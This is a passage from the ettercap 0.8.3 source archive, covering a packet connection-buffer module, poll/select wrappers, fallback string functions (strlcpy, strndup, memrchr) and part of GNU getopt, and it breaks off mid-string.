pthread_mutex_unlock(&x); }while(0) /************************************************/ /* * initialize the buffer */ void connbuf_init(struct conn_buf *cb, size_t size) { DEBUG_MSG("connbuf_init"); /* init the size */ cb->size = 0; cb->max_size = size; /* init the tail */ TAILQ_INIT(&cb->connbuf_tail); /* init the mutex */ CONNBUF_INIT_LOCK(cb->connbuf_mutex); } /* * add the packet to the conn_buf. * check if the buffer has reached the max size * and in case delete the oldest elements to * fit the predefined size. * * the tail has the newer packet in the head and * older in the tail. */ int connbuf_add(struct conn_buf *cb, struct packet_object *po) { struct conn_pck_list *p; struct conn_pck_list *e; SAFE_CALLOC(p, 1, sizeof(struct conn_pck_list)); /* * we add the sizeof because if the packets have 0 length * (ack packets) the real memory occupation will overflow * the max_size */ p->size = sizeof(struct conn_pck_list) + po->DATA.disp_len; memcpy(&p->L3_src, &po->L3.src, sizeof(struct ip_addr)); /* * we cant handle the packet, the buffer * is too small */ if (p->size > cb->max_size) { DEBUG_MSG("connbuf_add: buffer too small %d %d\n", (int)cb->max_size, (int)p->size); SAFE_FREE(p); return 0; } /* copy the buffer */ SAFE_CALLOC(p->buf, po->DATA.disp_len, sizeof(u_char)); memcpy(p->buf, po->DATA.disp_data, po->DATA.disp_len); CONNBUF_LOCK(cb->connbuf_mutex); /* * check the total size and make adjustment * if we have to free some packets */ if (cb->size + p->size > cb->max_size) { struct conn_pck_list *tmp = NULL; TAILQ_FOREACH_REVERSE_SAFE(e, &cb->connbuf_tail, next, connbuf_head, tmp) { /* we have freed enough bytes */ if (cb->size + p->size <= cb->max_size) break; /* calculate the new size */ cb->size -= e->size; /* remove the elemnt */ SAFE_FREE(e->buf); TAILQ_REMOVE(&cb->connbuf_tail, e, next); SAFE_FREE(e); } } /* insert the packet in the tail */ TAILQ_INSERT_HEAD(&cb->connbuf_tail, p, next); /* update the total buffer size */ cb->size += p->size; CONNBUF_UNLOCK(cb->connbuf_mutex); return 0; } /* * empty a give buffer. * all the elements in the list are deleted */ void connbuf_wipe(struct conn_buf *cb) { struct conn_pck_list *e; DEBUG_MSG("connbuf_wipe"); CONNBUF_LOCK(cb->connbuf_mutex); /* delete the list */ while ((e = TAILQ_FIRST(&cb->connbuf_tail)) != TAILQ_END(&cb->connbuf_tail)) { TAILQ_REMOVE(&cb->connbuf_tail, e, next); SAFE_FREE(e->buf); SAFE_FREE(e); } /* reset the buffer */ cb->size = 0; TAILQ_INIT(&cb->connbuf_tail); CONNBUF_UNLOCK(cb->connbuf_mutex); } /* * print the content of a buffer * you can print only one side of the communication * by specifying the L3_src address, or NULL to * print all the packet in order (joined view). * * returns the number of printed chars */ int connbuf_print(struct conn_buf *cb, void (*func)(u_char *, size_t, struct ip_addr *L3_src)) { struct conn_pck_list *e; int n = 0; CONNBUF_LOCK(cb->connbuf_mutex); /* print the buffer */ TAILQ_FOREACH_REVERSE(e, &cb->connbuf_tail, next, connbuf_head) { /* * remember that the size is comprehensive * of the struct size */ func(e->buf, e->size - sizeof(struct conn_pck_list), &e->L3_src); n += e->size - sizeof(struct conn_pck_list); } CONNBUF_UNLOCK(cb->connbuf_mutex); return n; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_poll.c0000644000175000017500000000660113505247364015547 0ustar koeppeakoeppea/* ettercap -- poll events (use poll or select) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #ifdef HAVE_SYS_POLL_H #include #elif defined (HAVE_POLL_H) #include #endif #ifdef HAVE_SYS_SELECT_H #include #endif /* protos */ int ec_poll_in(int fd, u_int msec); int ec_poll_out(int fd, u_int msec); int ec_poll_buffer(char *buf); /************************************************/ /* * looks for event on INPUT */ int ec_poll_in(int fd, u_int msec) { #if defined(HAVE_POLL) && !defined(OS_DARWIN) int poll_result; struct pollfd poll_fd; /* set the correct fd */ poll_fd.fd = fd; poll_fd.events = POLLIN; /* execute the syscall */ poll_result = poll(&poll_fd, 1, msec); /* the event has occurred, return 1 */ if (poll_result > 0 && poll_fd.revents & POLLIN) return 1; return 0; #elif defined(HAVE_SELECT) fd_set msk_fd; struct timeval to; memset(&to, 0, sizeof(struct timeval)); /* timeval uses microseconds */ to.tv_usec = MILLI2MICRO(msec); FD_ZERO(&msk_fd); /* set the correct fd */ FD_SET(fd, &msk_fd); /* execute the syscall */ int fds = select(FOPEN_MAX, &msk_fd, (fd_set *) 0, (fd_set *) 0, &to); if (fds <= 0) { return 0; } /* the even has occurred */ if (FD_ISSET(0, &msk_fd)) return 1; return 0; #else #error "you don't have neither poll nor select" #endif } /* * looks for event on OUTPUT */ int ec_poll_out(int fd, u_int msec) { #if defined(HAVE_POLL) && !defined(OS_DARWIN) struct pollfd poll_fd; /* set the correct fd */ poll_fd.fd = fd; poll_fd.events = POLLOUT; /* execute the syscall */ poll(&poll_fd, 1, msec); /* the event has occurred, return 1 */ if (poll_fd.revents & POLLOUT) return 1; return 0; #elif defined(HAVE_SELECT) fd_set msk_fd; struct timeval to; memset(&to, 0, sizeof(struct timeval)); /* timeval uses microseconds */ to.tv_usec = MILLI2MICRO(msec); FD_ZERO(&msk_fd); /* set the correct fd */ FD_SET(fd, &msk_fd); /* execute the syscall */ int fds = select(FOPEN_MAX, (fd_set *) 0, &msk_fd, (fd_set *) 0, &to); if (fds <=0) return 0; /* the even has occurred */ if (FD_ISSET(0, &msk_fd)) return 1; return 0; #else #error "you don't have neither poll nor select" #endif } /* * a fake poll implementation on string buffers * it returns != 0 if there are char(s) to read, * 0 if the first char is null */ int ec_poll_buffer(char *buf) { if (buf) return *buf; else return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/missing/0000755000175000017500000000000013505247364015434 5ustar koeppeakoeppeaettercap-0.8.3/src/missing/strlcpy.c0000644000175000017500000000417513505247364017307 0ustar koeppeakoeppea/* $OpenBSD: strlcpy.c,v 1.2 1998/11/06 04:33:16 wvdputte Exp $ */ /* * Copyright (c) 1998 Todd C. Miller * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include size_t strlcpy(char *, const char *, size_t); /* * Copy src to string dst of size siz. At most siz-1 characters * will be copied. Always NUL terminates (unless siz == 0). * Returns strlen(src); if retval >= siz, truncation occurred. */ size_t strlcpy(dst, src, siz) char *dst; const char *src; size_t siz; { register char *d = dst; register const char *s = src; register size_t n = siz; if (n == 0) return(strlen(s)); while (*s != '\0') { if (n != 1) { *d++ = *s; n--; } s++; } *d = '\0'; return(s - src); /* count does not include NUL */ } ettercap-0.8.3/src/missing/strndup.c0000644000175000017500000000225613505247364017304 0ustar koeppeakoeppea/* Implement the strndup function. Copyright (C) 2005 Free Software Foundation, Inc. Written by Kaveh R. Ghazi . This file is part of the libiberty library. Libiberty is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Libiberty is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with libiberty; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. */ #include char * strndup (const char *s, size_t n) { char *result; size_t len = strlen (s); if (n < len) len = n; result = (char *) malloc (len + 1); if (!result) return 0; result[len] = '\0'; return (char *) memcpy (result, s, len); } ettercap-0.8.3/src/missing/memrchr.c0000644000175000017500000000421013505247364017232 0ustar koeppeakoeppea/* * Copyright (c) 2001 Alberto Ornaghi * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include void *memrchr(const void *s, u_char c, size_t n) { /* * DESCRIPTION * The memrchr() function is like the memchr() function, except * that it searches backward for the first instance of c from the * end of the n bytes pointed to by s instead of forward from the * beginning. * * RETURN VALUE * The memrchr() functions return a pointer to the matching byte or * NULL if the character does not occur in the given memory area. */ const u_char *cp; if (n != 0) { cp = (u_char*)s + n; do { if (*(--cp) == (u_char)c) return (void*)cp; } while (--n != 0); } return NULL; } ettercap-0.8.3/src/missing/getopt.c0000644000175000017500000010423613505247364017110 0ustar koeppeakoeppea/* Getopt for GNU. NOTE: getopt is now part of the C library, so if you don't know what "Keep this file name-space clean" means, talk to drepper@gnu.org before changing it! Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 2000 Free Software Foundation, Inc. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /* This tells Alpha OSF/1 not to define a getopt prototype in . Ditto for AIX 3.2 and . */ #ifndef _NO_PROTO # define _NO_PROTO #endif #ifdef HAVE_CONFIG_H # include #endif #if !defined __STDC__ || !__STDC__ /* This is a separate conditional since some stdc systems reject `defined (const)'. */ # ifndef const # define const # endif #endif #include /* Comment out all this code if we are using the GNU C Library, and are not actually compiling the library itself. This code is part of the GNU C Library, but also included in many other GNU distributions. Compiling and linking in this code is a waste when using the GNU C library (especially if it is a shared library). Rather than having every GNU program understand `configure --with-gnu-libc' and omit the object files, it is simpler to just do this in the source for each such file. */ #define GETOPT_INTERFACE_VERSION 2 #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 # include # if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION # define ELIDE_CODE # endif #endif #ifndef ELIDE_CODE /* This needs to come after some library #include to get __GNU_LIBRARY__ defined. */ #ifdef __GNU_LIBRARY__ /* Don't include stdlib.h for non-GNU C libraries because some of them contain conflicting prototypes for getopt. */ # include # include #endif /* GNU C library. */ #ifdef VMS # include # if HAVE_STRING_H - 0 # include # endif #endif #ifndef _ /* This is for other GNU distributions with internationalized messages. */ # if defined HAVE_LIBINTL_H || defined _LIBC # include # ifndef _ # define _(msgid) gettext (msgid) # endif # else # define _(msgid) (msgid) # endif #endif /* This version of `getopt' appears to the caller like standard Unix `getopt' but it behaves differently for the user, since it allows the user to intersperse the options with the other arguments. As `getopt' works, it permutes the elements of ARGV so that, when it is done, all the options precede everything else. Thus all application programs are extended to handle flexible argument order. Setting the environment variable POSIXLY_CORRECT disables permutation. Then the behavior is completely standard. GNU application programs can use a third alternative mode in which they can distinguish the relative order of options and other arguments. */ #include /* For communication from `getopt' to the caller. When `getopt' finds an option that takes an argument, the argument value is returned here. Also, when `ordering' is RETURN_IN_ORDER, each non-option ARGV-element is returned here. */ char *optarg; /* Index in ARGV of the next element to be scanned. This is used for communication to and from the caller and for communication between successive calls to `getopt'. On entry to `getopt', zero means this is the first call; initialize. When `getopt' returns -1, this is the index of the first of the non-option elements that the caller should itself scan. Otherwise, `optind' communicates from one call to the next how much of ARGV has been scanned so far. */ /* 1003.2 says this must be 1 before any call. */ int optind = 1; /* Formerly, initialization of getopt depended on optind==0, which causes problems with re-calling getopt as programs generally don't know that. */ int __getopt_initialized; /* The next char to be scanned in the option-element in which the last option character we returned was found. This allows us to pick up the scan where we left off. If this is zero, or a null string, it means resume the scan by advancing to the next ARGV-element. */ static char *nextchar; /* Callers store zero here to inhibit the error message for unrecognized options. */ int opterr = 1; /* Set to an option character which was unrecognized. This must be initialized on some systems to avoid linking in the system's own getopt implementation. */ int optopt = '?'; /* Describe how to deal with options that follow non-option ARGV-elements. If the caller did not specify anything, the default is REQUIRE_ORDER if the environment variable POSIXLY_CORRECT is defined, PERMUTE otherwise. REQUIRE_ORDER means don't recognize them as options; stop option processing when the first non-option is seen. This is what Unix does. This mode of operation is selected by either setting the environment variable POSIXLY_CORRECT, or using `+' as the first character of the list of option characters. PERMUTE is the default. We permute the contents of ARGV as we scan, so that eventually all the non-options are at the end. This allows options to be given in any order, even with programs that were not written to expect this. RETURN_IN_ORDER is an option available to programs that were written to expect options and other ARGV-elements in any order and that care about the ordering of the two. We describe each non-option ARGV-element as if it were the argument of an option with character code 1. Using `-' as the first character of the list of option characters selects this mode of operation. The special argument `--' forces an end of option-scanning regardless of the value of `ordering'. In the case of RETURN_IN_ORDER, only `--' can cause `getopt' to return -1 with `optind' != ARGC. */ static enum { REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER } ordering; /* Value of POSIXLY_CORRECT environment variable. */ static char *posixly_correct; #ifdef __GNU_LIBRARY__ /* We want to avoid inclusion of string.h with non-GNU libraries because there are many ways it can cause trouble. On some systems, it contains special magic macros that don't work in GCC. */ # include # define my_index strchr #else # if HAVE_STRING_H # include # else # include # endif /* Avoid depending on library functions or files whose names are inconsistent. */ #ifndef getenv extern char *getenv (); #endif static char * my_index (str, chr) const char *str; int chr; { while (*str) { if (*str == chr) return (char *) str; str++; } return 0; } /* If using GCC, we can safely declare strlen this way. If not using GCC, it is ok not to declare it. */ #ifdef __GNUC__ /* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h. That was relevant to code that was here before. */ # if (!defined __STDC__ || !__STDC__) && !defined strlen /* gcc with -traditional declares the built-in strlen to return int, and has done so at least since version 2.4.5. -- rms. */ extern int strlen (const char *); # endif /* not __STDC__ */ #endif /* __GNUC__ */ #endif /* not __GNU_LIBRARY__ */ /* Handle permutation of arguments. */ /* Describe the part of ARGV that contains non-options that have been skipped. `first_nonopt' is the index in ARGV of the first of them; `last_nonopt' is the index after the last of them. */ static int first_nonopt; static int last_nonopt; #ifdef _LIBC /* Bash 2.0 gives us an environment variable containing flags indicating ARGV elements that should not be considered arguments. */ /* Defined in getopt_init.c */ extern char *__getopt_nonoption_flags; static int nonoption_flags_max_len; static int nonoption_flags_len; static int original_argc; static char *const *original_argv; /* Make sure the environment variable bash 2.0 puts in the environment is valid for the getopt call we must make sure that the ARGV passed to getopt is that one passed to the process. */ static void __attribute__ ((unused)) store_args_and_env (int argc, char *const *argv) { /* XXX This is no good solution. We should rather copy the args so that we can compare them later. But we must not use malloc(3). */ original_argc = argc; original_argv = argv; } # ifdef text_set_element text_set_element (__libc_subinit, store_args_and_env); # endif /* text_set_element */ # define SWAP_FLAGS(ch1, ch2) \ if (nonoption_flags_len > 0) \ { \ char __tmp = __getopt_nonoption_flags[ch1]; \ __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \ __getopt_nonoption_flags[ch2] = __tmp; \ } #else /* !_LIBC */ # define SWAP_FLAGS(ch1, ch2) #endif /* _LIBC */ /* Exchange two adjacent subsequences of ARGV. One subsequence is elements [first_nonopt,last_nonopt) which contains all the non-options that have been skipped so far. The other is elements [last_nonopt,optind), which contains all the options processed since those non-options were skipped. `first_nonopt' and `last_nonopt' are relocated so that they describe the new indices of the non-options in ARGV after they are moved. */ #if defined __STDC__ && __STDC__ static void exchange (char **); #endif static void exchange (argv) char **argv; { int bottom = first_nonopt; int middle = last_nonopt; int top = optind; char *tem; /* Exchange the shorter segment with the far end of the longer segment. That puts the shorter segment into the right place. It leaves the longer segment in the right place overall, but it consists of two parts that need to be swapped next. */ #ifdef _LIBC /* First make sure the handling of the `__getopt_nonoption_flags' string can work normally. Our top argument must be in the range of the string. */ if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len) { /* We must extend the array. The user plays games with us and presents new arguments. */ char *new_str = malloc (top + 1); if (new_str == NULL) nonoption_flags_len = nonoption_flags_max_len = 0; else { memset (__mempcpy (new_str, __getopt_nonoption_flags, nonoption_flags_max_len), '\0', top + 1 - nonoption_flags_max_len); nonoption_flags_max_len = top + 1; __getopt_nonoption_flags = new_str; } } #endif while (top > middle && middle > bottom) { if (top - middle > middle - bottom) { /* Bottom segment is the short one. */ int len = middle - bottom; register int i; /* Swap it with the top part of the top segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[top - (middle - bottom) + i]; argv[top - (middle - bottom) + i] = tem; SWAP_FLAGS (bottom + i, top - (middle - bottom) + i); } /* Exclude the moved bottom segment from further swapping. */ top -= len; } else { /* Top segment is the short one. */ int len = top - middle; register int i; /* Swap it with the bottom part of the bottom segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[middle + i]; argv[middle + i] = tem; SWAP_FLAGS (bottom + i, middle + i); } /* Exclude the moved top segment from further swapping. */ bottom += len; } } /* Update records for the slots the non-options now occupy. */ first_nonopt += (optind - last_nonopt); last_nonopt = optind; } /* Initialize the internal data when the first call is made. */ #if defined __STDC__ && __STDC__ static const char *_getopt_initialize (int, char *const *, const char *); #endif static const char * _getopt_initialize (argc, argv, optstring) int argc; char *const *argv; const char *optstring; { /* Start processing options with ARGV-element 1 (since ARGV-element 0 is the program name); the sequence of previously skipped non-option ARGV-elements is empty. */ first_nonopt = last_nonopt = optind; nextchar = NULL; posixly_correct = getenv ("POSIXLY_CORRECT"); /* Determine how to handle the ordering of options and nonoptions. */ if (optstring[0] == '-') { ordering = RETURN_IN_ORDER; ++optstring; } else if (optstring[0] == '+') { ordering = REQUIRE_ORDER; ++optstring; } else if (posixly_correct != NULL) ordering = REQUIRE_ORDER; else ordering = PERMUTE; #ifdef _LIBC if (posixly_correct == NULL && argc == original_argc && argv == original_argv) { if (nonoption_flags_max_len == 0) { if (__getopt_nonoption_flags == NULL || __getopt_nonoption_flags[0] == '\0') nonoption_flags_max_len = -1; else { const char *orig_str = __getopt_nonoption_flags; int len = nonoption_flags_max_len = strlen (orig_str); if (nonoption_flags_max_len < argc) nonoption_flags_max_len = argc; __getopt_nonoption_flags = (char *) malloc (nonoption_flags_max_len); if (__getopt_nonoption_flags == NULL) nonoption_flags_max_len = -1; else memset (__mempcpy (__getopt_nonoption_flags, orig_str, len), '\0', nonoption_flags_max_len - len); } } nonoption_flags_len = nonoption_flags_max_len; } else nonoption_flags_len = 0; #else (void) argc; (void) argv; #endif return optstring; } /* Scan elements of ARGV (whose length is ARGC) for option characters given in OPTSTRING. If an element of ARGV starts with '-', and is not exactly "-" or "--", then it is an option element. The characters of this element (aside from the initial '-') are option characters. If `getopt' is called repeatedly, it returns successively each of the option characters from each of the option elements. If `getopt' finds another option character, it returns that character, updating `optind' and `nextchar' so that the next call to `getopt' can resume the scan with the following option character or ARGV-element. If there are no more option characters, `getopt' returns -1. Then `optind' is the index in ARGV of the first ARGV-element that is not an option. (The ARGV-elements have been permuted so that those that are not options now come last.) OPTSTRING is a string containing the legitimate option characters. If an option character is seen that is not listed in OPTSTRING, return '?' after printing an error message. If you set `opterr' to zero, the error message is suppressed but we still return '?'. If a char in OPTSTRING is followed by a colon, that means it wants an arg, so the following text in the same ARGV-element, or the text of the following ARGV-element, is returned in `optarg'. Two colons mean an option that wants an optional arg; if there is text in the current ARGV-element, it is returned in `optarg', otherwise `optarg' is set to zero. If OPTSTRING starts with `-' or `+', it requests different methods of handling the non-option ARGV-elements. See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. Long-named options begin with `--' instead of `-'. Their names may be abbreviated as long as the abbreviation is unique or is an exact match for some defined option. If they have an argument, it follows the option name in the same ARGV-element, separated from the option name by a `=', or else the in next ARGV-element. When `getopt' finds a long-named option, it returns 0 if that option's `flag' field is nonzero, the value of the option's `val' field if the `flag' field is zero. The elements of ARGV aren't really const, because we permute them. But we pretend they're const in the prototype to be compatible with other systems. LONGOPTS is a vector of `struct option' terminated by an element containing a name which is zero. LONGIND returns the index in LONGOPT of the long-named option found. It is only valid when a long-named option has been found by the most recent call. If LONG_ONLY is nonzero, '-' as well as '--' can introduce long-named options. */ int _getopt_internal (argc, argv, optstring, longopts, longind, long_only) int argc; char *const *argv; const char *optstring; const struct option *longopts; int *longind; int long_only; { int print_errors = opterr; if (optstring[0] == ':') print_errors = 0; if (argc < 1) return -1; optarg = NULL; if (optind == 0 || !__getopt_initialized) { if (optind == 0) optind = 1; /* Don't scan ARGV[0], the program name. */ optstring = _getopt_initialize (argc, argv, optstring); __getopt_initialized = 1; } /* Test whether ARGV[optind] points to a non-option argument. Either it does not have option syntax, or there is an environment flag from the shell indicating it is not an option. The later information is only used when the used in the GNU libc. */ #ifdef _LIBC # define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \ || (optind < nonoption_flags_len \ && __getopt_nonoption_flags[optind] == '1')) #else # define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0') #endif if (nextchar == NULL || *nextchar == '\0') { /* Advance to the next ARGV-element. */ /* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been moved back by the user (who may also have changed the arguments). */ if (last_nonopt > optind) last_nonopt = optind; if (first_nonopt > optind) first_nonopt = optind; if (ordering == PERMUTE) { /* If we have just processed some options following some non-options, exchange them so that the options come first. */ if (first_nonopt != last_nonopt && last_nonopt != optind) exchange ((char **) argv); else if (last_nonopt != optind) first_nonopt = optind; /* Skip any additional non-options and extend the range of non-options previously skipped. */ while (optind < argc && NONOPTION_P) optind++; last_nonopt = optind; } /* The special ARGV-element `--' means premature end of options. Skip it like a null option, then exchange with previous non-options as if it were an option, then skip everything else like a non-option. */ if (optind != argc && !strcmp (argv[optind], "--")) { optind++; if (first_nonopt != last_nonopt && last_nonopt != optind) exchange ((char **) argv); else if (first_nonopt == last_nonopt) first_nonopt = optind; last_nonopt = argc; optind = argc; } /* If we have done all the ARGV-elements, stop the scan and back over any non-options that we skipped and permuted. */ if (optind == argc) { /* Set the next-arg-index to point at the non-options that we previously skipped, so the caller will digest them. */ if (first_nonopt != last_nonopt) optind = first_nonopt; return -1; } /* If we have come to a non-option and did not permute it, either stop the scan or describe it to the caller and pass it by. */ if (NONOPTION_P) { if (ordering == REQUIRE_ORDER) return -1; optarg = argv[optind++]; return 1; } /* We have found another option-ARGV-element. Skip the initial punctuation. */ nextchar = (argv[optind] + 1 + (longopts != NULL && argv[optind][1] == '-')); } /* Decode the current option-ARGV-element. */ /* Check whether the ARGV-element is a long option. If long_only and the ARGV-element has the form "-f", where f is a valid short option, don't consider it an abbreviated form of a long option that starts with f. Otherwise there would be no way to give the -f short option. On the other hand, if there's a long option "fubar" and the ARGV-element is "-fu", do consider that an abbreviation of the long option, just like "--fu", and not "-f" with arg "u". This distinction seems to be the most useful approach. */ if (longopts != NULL && (argv[optind][1] == '-' || (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1]))))) { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound = -1; int option_index; for (nameend = nextchar; *nameend && *nameend != '='; nameend++) /* Do nothing. */ ; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp (p->name, nextchar, nameend - nextchar)) { if ((unsigned int) (nameend - nextchar) == (unsigned int) strlen (p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else if (long_only || pfound->has_arg != p->has_arg || pfound->flag != p->flag || pfound->val != p->val) /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (print_errors) fprintf (stderr, _("%s: option `%s' is ambiguous\n"), argv[0], argv[optind]); nextchar += strlen (nextchar); optind++; optopt = 0; return '?'; } if (pfound != NULL) { option_index = indfound; optind++; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (print_errors) { if (argv[optind - 1][1] == '-') /* --option */ fprintf (stderr, _("%s: option `--%s' doesn't allow an argument\n"), argv[0], pfound->name); else /* +option or -option */ fprintf (stderr, _("%s: option `%c%s' doesn't allow an argument\n"), argv[0], argv[optind - 1][0], pfound->name); } nextchar += strlen (nextchar); optopt = pfound->val; return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (print_errors) fprintf (stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); nextchar += strlen (nextchar); optopt = pfound->val; return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen (nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } /* Can't find it as a long option. If this is not getopt_long_only, or the option starts with '--' or is not a valid short option, then it's an error. Otherwise interpret it as a short option. */ if (!long_only || argv[optind][1] == '-' || my_index (optstring, *nextchar) == NULL) { if (print_errors) { if (argv[optind][1] == '-') /* --option */ fprintf (stderr, _("%s: unrecognized option `--%s'\n"), argv[0], nextchar); else /* +option or -option */ fprintf (stderr, _("%s: unrecognized option `%c%s'\n"), argv[0], argv[optind][0], nextchar); } nextchar = (char *) ""; optind++; optopt = 0; return '?'; } } /* Look at and handle the next short option-character. */ { char c = *nextchar++; char *temp = my_index (optstring, c); /* Increment `optind' when we start to process its last character. */ if (*nextchar == '\0') ++optind; if (temp == NULL || c == ':') { if (print_errors) { if (posixly_correct) /* 1003.2 specifies the format of this message. */ fprintf (stderr, _("%s: illegal option -- %c\n"), argv[0], c); else fprintf (stderr, _("%s: invalid option -- %c\n"), argv[0], c); } optopt = c; return '?'; } /* Convenience. Treat POSIX -W foo same as long option --foo */ if (temp[0] == 'W' && temp[1] == ';') { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound = 0; int option_index; /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (print_errors) { /* 1003.2 specifies the format of this message. */ fprintf (stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; return c; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; /* optarg is now the argument, see if it's in the table of longopts. */ for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++) /* Do nothing. */ ; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp (p->name, nextchar, nameend - nextchar)) { if ((unsigned int) (nameend - nextchar) == strlen (p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (print_errors) fprintf (stderr, _("%s: option `-W %s' is ambiguous\n"), argv[0], argv[optind]); nextchar += strlen (nextchar); optind++; return '?'; } if (pfound != NULL) { option_index = indfound; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (print_errors) fprintf (stderr, _("\ %s: option 